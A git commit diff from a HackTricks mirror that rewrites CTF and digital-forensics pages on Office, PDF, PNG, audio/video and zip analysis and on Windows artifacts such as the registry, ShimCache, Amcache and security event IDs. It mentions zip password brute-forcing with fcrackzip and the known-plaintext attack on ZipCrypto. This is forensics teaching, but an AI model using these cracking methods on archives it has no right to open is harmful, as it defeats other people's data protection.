mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
a
This commit is contained in:
parent
06a639f4af
commit
43da32d5b8
99 changed files with 1553 additions and 2475 deletions
|
@ -22,77 +22,23 @@ Get Access Today:
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Introduction
|
||||
|
||||
Microsoft has created **dozens of office document file formats**, many of which are popular for the distribution of phishing attacks and malware because of their ability to **include macros** (VBA scripts).
|
||||
**For further details check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)**
|
||||
|
||||
Broadly speaking, there are two generations of Office file format: the **OLE formats** (file extensions like RTF, DOC, XLS, PPT), and the "**Office Open XML**" formats (file extensions that include DOCX, XLSX, PPTX). **Both** formats are structured, compound file binary formats that **enable Linked or Embedded content** (Objects). OOXML files are zip file containers, meaning that one of the easiest ways to check for hidden data is to simply `unzip` the document:
|
||||
|
||||
```
|
||||
$ unzip example.docx
|
||||
Archive: example.docx
|
||||
inflating: [Content_Types].xml
|
||||
inflating: _rels/.rels
|
||||
inflating: word/_rels/document.xml.rels
|
||||
inflating: word/document.xml
|
||||
inflating: word/theme/theme1.xml
|
||||
extracting: docProps/thumbnail.jpeg
|
||||
inflating: word/comments.xml
|
||||
inflating: word/settings.xml
|
||||
inflating: word/fontTable.xml
|
||||
inflating: word/styles.xml
|
||||
inflating: word/stylesWithEffects.xml
|
||||
inflating: docProps/app.xml
|
||||
inflating: docProps/core.xml
|
||||
inflating: word/webSettings.xml
|
||||
inflating: word/numbering.xml
|
||||
$ tree
|
||||
.
|
||||
├── [Content_Types].xml
|
||||
├── _rels
|
||||
├── docProps
|
||||
│ ├── app.xml
|
||||
│ ├── core.xml
|
||||
│ └── thumbnail.jpeg
|
||||
└── word
|
||||
├── _rels
|
||||
│ └── document.xml.rels
|
||||
├── comments.xml
|
||||
├── document.xml
|
||||
├── fontTable.xml
|
||||
├── numbering.xml
|
||||
├── settings.xml
|
||||
├── styles.xml
|
||||
├── stylesWithEffects.xml
|
||||
├── theme
|
||||
│ └── theme1.xml
|
||||
└── webSettings.xml
|
||||
```
|
||||
Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents.
|
||||
|
||||
As you can see, some of the structure is created by the file and folder hierarchy. The rest is specified inside the XML files. [_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d) details some ideas for data hiding techniques, but CTF challenge authors will always be coming up with new ones.
|
||||
To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges.
|
||||
|
||||
Once again, a Python toolset exists for the examination and **analysis of OLE and OOXML documents**: [oletools](http://www.decalage.info/python/oletools). For OOXML documents in particular, [OfficeDissector](https://www.officedissector.com) is a very powerful analysis framework (and Python library). The latter includes a [quick guide to its usage](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt).
|
||||
For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables.
|
||||
|
||||
Sometimes the challenge is not to find hidden static data, but to **analyze a VBA macro** to determine its behavior. This is a more realistic scenario and one that analysts in the field perform every day. The aforementioned dissector tools can indicate whether a macro is present, and probably extract it for you. A typical VBA macro in an Office document, on Windows, will download a PowerShell script to %TEMP% and attempt to execute it, in which case you now have a PowerShell script analysis task too. But malicious VBA macros are rarely complicated since VBA is [typically just used as a jumping-off platform to bootstrap code execution](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). In the case where you do need to understand a complicated VBA macro, or if the macro is obfuscated and has an unpacker routine, you don't need to own a license to Microsoft Office to debug this. You can use [Libre Office](http://libreoffice.org): [its interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) will be familiar to anyone who has debugged a program; you can set breakpoints and create watch variables and capture values after they have been unpacked but before whatever payload behavior has executed. You can even start a macro of a specific document from a command line:
|
||||
|
||||
```
|
||||
$ soffice path/to/test.docx macro://./standard.module1.mymacro
|
||||
```
|
||||
|
||||
## [oletools](https://github.com/decalage2/oletools)
|
||||
Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`.
|
||||
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
|
||||
## Automatic Execution
|
||||
|
||||
Macro functions like `AutoOpen`, `AutoExec` or `Document_Open` will be **automatically** **executed**.
|
||||
|
||||
## References
|
||||
|
||||
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -22,25 +22,20 @@ Get Access Today:
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
**For further details check: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)**
|
||||
|
||||
PDF is an extremely complicated document file format, with enough tricks and hiding places [to write about for years](https://www.sultanik.com/pocorgtfo/). This also makes it popular for CTF forensics challenges. The NSA wrote a guide to these hiding places in 2008 titled "Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures." It's no longer available at its original URL, but you can [find a copy here](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini also keeps a wiki on GitHub of [PDF file format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md).
|
||||
The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami.
|
||||
|
||||
The PDF format is partially plain-text, like HTML, but with many binary "objects" in the contents. Didier Stevens has written [good introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) about the format. The binary objects can be compressed or even encrypted data, and include content in scripting languages like JavaScript or Flash. To display the structure of a PDF, you can either browse it with a text editor or open it with a PDF-aware file-format editor like Origami.
|
||||
For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in:
|
||||
|
||||
[qpdf](https://github.com/qpdf/qpdf) is one tool that can be useful for exploring a PDF and transforming or extracting information from it. Another is a framework in Ruby called [Origami](https://github.com/mobmewireless/origami-pdf).
|
||||
* Invisible layers
|
||||
* XMP metadata format by Adobe
|
||||
* Incremental generations
|
||||
* Text with the same color as the background
|
||||
* Text behind images or overlapping images
|
||||
* Non-displayed comments
|
||||
|
||||
When exploring PDF content for hidden data, some of the hiding places to check include:
|
||||
|
||||
* non-visible layers
|
||||
* Adobe's metadata format "XMP"
|
||||
* the "incremental generation" feature of PDF wherein a previous version is retained but not visible to the user
|
||||
* white text on a white background
|
||||
* text behind images
|
||||
* an image behind an overlapping image
|
||||
* non-displayed comments
|
||||
|
||||
There are also several Python packages for working with the PDF file format, like [PeepDF](https://github.com/jesparza/peepdf), that enable you to write your own parsing scripts.
|
||||
For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject.
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -14,12 +14,11 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies.
|
||||
|
||||
PNG files, in particular, are popular in CTF challenges, probably for their lossless compression suitable for hiding non-visual data in the image. PNG files can be dissected in Wireshark. To verify the correctness or attempt to repair corrupted PNGs you can use [pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)
|
||||
|
||||
You can try to repair corrupted PNGs using online tools like [https://online.officerecovery.com/pixrecovery/](https://online.officerecovery.com/pixrecovery/)
|
||||
|
||||
For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants.
|
||||
|
||||
These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data.
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,32 +1,31 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
Like image file formats, audio and video file trickery is a common theme in CTF forensics challenges not because hacking or data hiding ever happens this way in the real world, but just because audio and video are fun. As with image file formats, steganography might be used to embed a secret message in the content data, and again you should know to check the file metadata areas for clues. Your first step should be to take a look with the [mediainfo](https://mediaarea.net/en/MediaInfo) tool \(or `exiftool`\) and identify the content type and look at its metadata.
|
||||
|
||||
[Audacity](http://www.audacityteam.org/) is the premier open-source audio file and waveform-viewing tool. CTF challenge authors love to encode text into audio waveforms, which you can see using the spectrogram view \(although a specialized tool called [Sonic Visualiser](http://www.sonicvisualiser.org/) is better for this task in particular\). Audacity can also enable you to slow down, reverse, and do other manipulations that might reveal a hidden message if you suspect there is one \(if you can hear garbled audio, interference, or static\). [Sox](http://sox.sourceforge.net/) is another useful command-line tool for converting and manipulating audio files.
|
||||
|
||||
It's also common to check Least Significant Bits (LSB) for a secret message. Most audio and video media formats use discrete (fixed-size) "chunks" so that they can be streamed; the LSBs of those chunks are a common place to smuggle some data without visibly affecting the file.
|
||||
|
||||
Other times, a message might be encoded into the audio as [DTMF tones](http://dialabc.com/sound/detect/index.html) or morse code. For these, try working with [multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng) to decode them.
|
||||
|
||||
Video file formats are container formats, that contain separate streams of both audio and video that are multiplexed together for playback. For analyzing and manipulating video file formats, [FFmpeg](http://ffmpeg.org/) is recommended. `ffmpeg -i` gives an initial analysis of the file content. It can also de-multiplex or playback the content streams. The power of FFmpeg is exposed to Python using [ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html).
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types.
|
||||
|
||||
For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files.
|
||||
|
||||
**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**.
|
||||
|
||||
Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions.
|
||||
|
||||
This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files.
|
||||
|
||||
# References
|
||||
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -14,21 +14,20 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
There are a handful of command-line tools for zip files that will be useful to know about.
|
||||
**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities:
|
||||
|
||||
* `unzip` will often output helpful information on why a zip will not decompress.
|
||||
* `zipdetails -v` will provide in-depth information on the values present in the various fields of the format.
|
||||
* `zipinfo` lists information about the zip file's contents, without extracting it.
|
||||
* `zip -F input.zip --out output.zip` and `zip -FF input.zip --out output.zip` attempt to repair a corrupted zip file.
|
||||
* [fcrackzip](https://github.com/hyc/fcrackzip) brute-force guesses a zip password (for passwords <7 characters or so).
|
||||
- **`unzip`**: Reveals why a zip file may not decompress.
|
||||
- **`zipdetails -v`**: Offers detailed analysis of zip file format fields.
|
||||
- **`zipinfo`**: Lists contents of a zip file without extracting them.
|
||||
- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters.
|
||||
|
||||
[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
|
||||
The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files.
|
||||
|
||||
One important security-related note about password-protected zip files is that they do not encrypt the filenames and original file sizes of the compressed files they contain, unlike password-protected RAR or 7z files.
|
||||
It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data.
|
||||
|
||||
Another note about zip cracking is that if you have an unencrypted/uncompressed copy of any one of the files that are compressed in the encrypted zip, you can perform a "plaintext attack" and crack the zip, as [detailed here](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files), and explained in [this paper](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). The newer scheme for password-protecting zip files (with AES-256, rather than "ZipCrypto") does not have this weakness.
|
||||
|
||||
From: [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](https://app.gitbook.com/o/Iwnw24TnSs9D9I2OtTKX/s/-L\_2uGJGU7AVNRcqRvEi/)
|
||||
# References
|
||||
* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -226,54 +226,35 @@ You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nuc
|
|||
|
||||
![](<../../../.gitbook/assets/image (485).png>)
|
||||
|
||||
### Outlook OST
|
||||
### Microsoft Outlook OST Files
|
||||
|
||||
When Microsoft Outlook is configured **using** **IMAP** or using an **Exchange** server, it generates an **OST** file that stores almost the same info as the PST file. It keeps the file synchronized with the server for the **last 12 months**, with a **max file-size of 50GB** and in the **same folder as the PST** file is saved. You can inspect this file using [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||
An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized.
|
||||
|
||||
### Recovering Attachments
|
||||
### Retrieving Attachments
|
||||
|
||||
You may be able to find them in the folder:
|
||||
Lost attachments might be recoverable from:
|
||||
|
||||
* `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10
|
||||
* `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+
|
||||
- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Thunderbird MBOX
|
||||
### Thunderbird MBOX Files
|
||||
|
||||
**Thunderbird** stores the information in **MBOX** **files** in the folder `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`
|
||||
**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||
|
||||
## Thumbnails
|
||||
### Image Thumbnails
|
||||
|
||||
When a user accesses a folder and organised it using thumbnails, then a `thumbs.db` file is created. This db **stores the thumbnails of the images** of the folder even if they are deleted. In WinXP and Win 8-8.1 this file is created automatically. In Win7/Win10, it's created automatically if it's accessed via a UNC path (\IP\folder...).
|
||||
- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion.
|
||||
- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path.
|
||||
- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files.
|
||||
|
||||
It is possible to read this file with the tool [**Thumbsviewer**](https://thumbsviewer.github.io).
|
||||
### Windows Registry Information
|
||||
|
||||
### Thumbcache
|
||||
The Windows Registry, storing extensive system and user activity data, is contained within files in:
|
||||
|
||||
Beginning with Windows Vista, **thumbnail previews are stored in a centralized location on the system**. This provides the system with access to images independent of their location and addresses issues with the locality of Thumbs.db files. The cache is stored at **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** as several files with the label **thumbcache\_xxx.db** (numbered by size); as well as an index used to find thumbnails in each sized database.
|
||||
|
||||
* Thumbcache\_32.db -> small
|
||||
* Thumbcache\_96.db -> medium
|
||||
* Thumbcache\_256.db -> large
|
||||
* Thumbcache\_1024.db -> extra large
|
||||
|
||||
You can read this file using [**ThumbCache Viewer**](https://thumbcacheviewer.github.io).
|
||||
|
||||
## Windows Registry
|
||||
|
||||
The Windows Registry Contains a lot of **information** about the **system and the actions of the users**.
|
||||
|
||||
The files containing the registry are located in:
|
||||
|
||||
* %windir%\System32\Config\*_SAM\*_: `HKEY_LOCAL_MACHINE`
|
||||
* %windir%\System32\Config\*_SECURITY\*_: `HKEY_LOCAL_MACHINE`
|
||||
* %windir%\System32\Config\*_SYSTEM\*_: `HKEY_LOCAL_MACHINE`
|
||||
* %windir%\System32\Config\*_SOFTWARE\*_: `HKEY_LOCAL_MACHINE`
|
||||
* %windir%\System32\Config\*_DEFAULT\*_: `HKEY_LOCAL_MACHINE`
|
||||
* %UserProfile%{User}\*_NTUSER.DAT\*_: `HKEY_CURRENT_USER`
|
||||
|
||||
From Windows Vista and Windows 2008 Server upwards there are some backups of the `HKEY_LOCAL_MACHINE` registry files in **`%Windir%\System32\Config\RegBack\`**.
|
||||
|
||||
Also from these versions, the registry file **`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** is created saving information about program executions.
|
||||
- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys.
|
||||
- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`.
|
||||
- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`.
|
||||
- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards.
|
||||
|
||||
### Tools
|
||||
|
||||
|
@ -308,11 +289,7 @@ In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login,
|
|||
|
||||
### Basic Windows Processes
|
||||
|
||||
On the following page you can learn about the basic Windows processes to detect suspicious behaviours:
|
||||
|
||||
{% content-ref url="windows-processes.md" %}
|
||||
[windows-processes.md](windows-processes.md)
|
||||
{% endcontent-ref %}
|
||||
In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours.
|
||||
|
||||
### Windows Recent APPs
|
||||
|
||||
|
@ -373,40 +350,37 @@ You can obtain the date from this file using the tool [**srum\_dump**](https://g
|
|||
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
**Shimcache**, also known as **AppCompatCache**, is a component of the **Application Compatibility Database**, which was created by **Microsoft** and used by the operating system to identify application compatibility issues.
|
||||
The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include:
|
||||
|
||||
The cache stores various file metadata depending on the operating system, such as:
|
||||
- Full path of the file
|
||||
- Size of the file
|
||||
- Last Modified time under **$Standard\_Information** (SI)
|
||||
- Last Updated time of the ShimCache
|
||||
- Process Execution Flag
|
||||
|
||||
* File Full Path
|
||||
* File Size
|
||||
* **$Standard\_Information** (SI) Last Modified time
|
||||
* ShimCache Last Updated time
|
||||
* Process Execution Flag
|
||||
Such data is stored within the registry at specific locations based on the version of the operating system:
|
||||
|
||||
This information can be found in the registry in:
|
||||
- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries.
|
||||
- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively.
|
||||
|
||||
* `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`
|
||||
* XP (96 entries)
|
||||
* `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`
|
||||
* Server 2003 (512 entries)
|
||||
* 2008/2012/2016 Win7/Win8/Win10 (1024 entries)
|
||||
|
||||
You can use the tool [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) to parse this information.
|
||||
To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use.
|
||||
|
||||
![](<../../../.gitbook/assets/image (488).png>)
|
||||
|
||||
### Amcache
|
||||
|
||||
The **Amcache.hve** file is a registry file that stores the information of executed applications. It's located in `C:\Windows\AppCompat\Programas\Amcache.hve`
|
||||
The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
**Amcache.hve** records the recent processes that were run and list the path of the files that are executed which can then be used to find the executed program. It also records the SHA1 of the program.
|
||||
This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system.
|
||||
|
||||
You can parse this information with the tool [**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser)
|
||||
To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format:
|
||||
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\student\Desktop\Amcache.hve --csv C:\Users\student\Desktop\srum
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
|
||||
Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries.
|
||||
|
||||
The most interesting CVS file generated is the `Amcache_Unassociated file entries`.
|
||||
|
||||
### RecentFileCache
|
||||
|
@ -449,81 +423,93 @@ The location of the event files can be found in the SYSTEM registry in **`HKLM\S
|
|||
|
||||
They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
|
||||
### Security
|
||||
## Understanding Windows Security Event Logging
|
||||
|
||||
This registers the access events and gives information about the security configuration which can be found in `C:\Windows\System32\winevt\Security.evtx`.
|
||||
Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access.
|
||||
|
||||
The **max size** of the event file is configurable, and it will start overwriting old events when the maximum size is reached.
|
||||
### Key Event IDs for User Authentication:
|
||||
|
||||
Events that are registered as:
|
||||
- **EventID 4624**: Indicates a user successfully authenticated.
|
||||
- **EventID 4625**: Signals an authentication failure.
|
||||
- **EventIDs 4634/4647**: Represent user logoff events.
|
||||
- **EventID 4672**: Denotes login with administrative privileges.
|
||||
|
||||
* Login/Logoff
|
||||
* Actions of the user
|
||||
* Access to files, folders and shared assets
|
||||
* Modification of the security configuration
|
||||
#### Sub-types within EventID 4634/4647:
|
||||
|
||||
Events related to user authentication:
|
||||
- **Interactive (2)**: Direct user login.
|
||||
- **Network (3)**: Access to shared folders.
|
||||
- **Batch (4)**: Execution of batch processes.
|
||||
- **Service (5)**: Service launches.
|
||||
